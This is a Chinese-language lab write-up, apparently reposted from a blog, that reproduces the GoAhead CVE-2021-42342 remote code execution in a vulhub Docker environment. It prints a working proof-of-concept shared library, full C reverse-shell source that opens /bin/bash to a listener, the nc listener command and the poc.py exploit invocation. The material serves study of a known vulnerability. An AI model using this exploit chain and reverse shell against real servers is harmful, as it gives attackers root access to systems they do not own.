0


CVE-2021-42342漏洞复现及docker环境搭建

一、前言

解决问题用到的命令:docker logs 容器id#查看日志,可以看报错的原因。

最终运行容器的命令:docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh

这是一次线上实习的作业,老师要求将漏洞环境搭建在容器内,并将容器导出为tar包,这比简单的复现漏洞要复杂一些些,给我这个小白带来了许多麻烦,网上也没有与我情况相同的博客,因此我将这次复现过程记录下来。


二、环境搭建

1、环境:Ubuntu18.04,Python3.6.9(Python必须在3.6及以上,否则不能用poc.py)

2、下载vulhub-master并解压,下载方式百度即可。

3、进入漏洞所在文件夹

4、将我做好的tar包导入为镜像,tar包里有我做的start.sh,一会要用它启动容器。

docker import e2.tar e2:latest

注:这一步可以直接使用docker-compose导入镜像,

在vulhub-master/goahead/CVE-2021-42342文件夹下执行docker-compose up -d即可

5、用如下命令启动容器:

docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh

【注】:如果使用docker-compse,不需考虑-p参数和-v参数,yml文件都写好了,导入镜像直接用就OK

其中,-p为指定端口映射,-v后面的参数为容器挂载目录(vulhub-master.zip解压后产生的目录),即挂载的主机目录:容器目录:rw(rw意为读写),e2:latest为镜像名:标签,最后是以start.sh脚本启动。-v后面的参数很重要,是后面验证漏洞复现成功的关键。

6、访问IP:8083,出现如下页面代表访问成功。

7、编写打印测试文件的poc代码如下(poc.c):

#include <unistd.h>

static void before_main(void) attribute((constructor));

static void before_main(void)

{

write(1, "Hello: World\r\n\r\n", 16);

write(1, "Hacked\n", 7);

}

8、这样,before_main函数将在程序执行前被调用。编译以上代码:

gcc -s-shared -fPIC ./poc.c -o payload.so

9、然后,我们使用poc.py脚本来发送恶意数据包,复现漏洞:

python3 poc.py http://172.17.0.1:8083/cgi-bin/index payload.so(index和payload.so之间有空格,否则会Traceback Error,而且一定要用python3执行,且python版本应大于3.6,否则脚本文件代码运行会报错)

可见,我们编写的劫持代码已经被成功执行:

10、反弹shell的poc代码如下(shell.c):

#include<stdio.h>

#include<stdlib.h>

#include<sys/socket.h>

#include<netinet/in.h>

char *server_ip="172.17.0.1";/The server which accepts shell/

uint32_t server_port=7777;/The port which you listen to/

static void reverse_shell(void) attribute((constructor));

static void reverse_shell(void)

{

int sock = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in attacker_addr = {0};

attacker_addr.sin_family = AF_INET;

attacker_addr.sin_port = htons(server_port);

attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

exit(0);

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execve("/bin/bash", 0, 0);

}

11、使用如下命令编译以上代码:

gcc -s-shared -fPIC ./shell.c -o shell.so

12、在对应的ip端口上开启监听(开启另一个终端):

nc -lvnp 7777

13、执行payload,此时脚本可能会报错,但没有影响。

python3 poc.py http://target-ip:8083/cgi-bin/index shell.so

(注意index和shell之间有空格!)

14、当终端显示Connection from x.x.x.x xxxx received,我们输入whoami命令显示自身用户名称,可以看到我们是root用户,成功触发RCE。

三、用start.sh启动的tar包如何搭建?

其实非常简单,但是网上没有博客写过,本小白花了挺长时间才搞明白。

直接docker run -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw -d -p 8082:80 vulhub/goahead:5.1.4,就得到了一个没有start.sh的容器,在根目录下vim start.sh,写入如下内容:

#!/bin/bash

goahead -v --home /etc/goahead /var/html/goahead

然后把容器导出为tar包就大功告成。

附上本人tar包链接:https://pan.baidu.com/s/17s72XYOSicZlu7ra1Tot1g 提取码: gl4u

四、参考链接

(1)https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里,vulhub-master.zip已经包含了它)

(2)http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_5298.html

(3)https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

(4)https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562

(5)https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/

标签: docker 容器 linux

本文转载自: https://blog.csdn.net/axdnoob/article/details/125859127
版权归原作者 li2na1 所有, 如有侵权,请联系我们删除。

“CVE-2021-42342漏洞复现及docker环境搭建”的评论:

还没有评论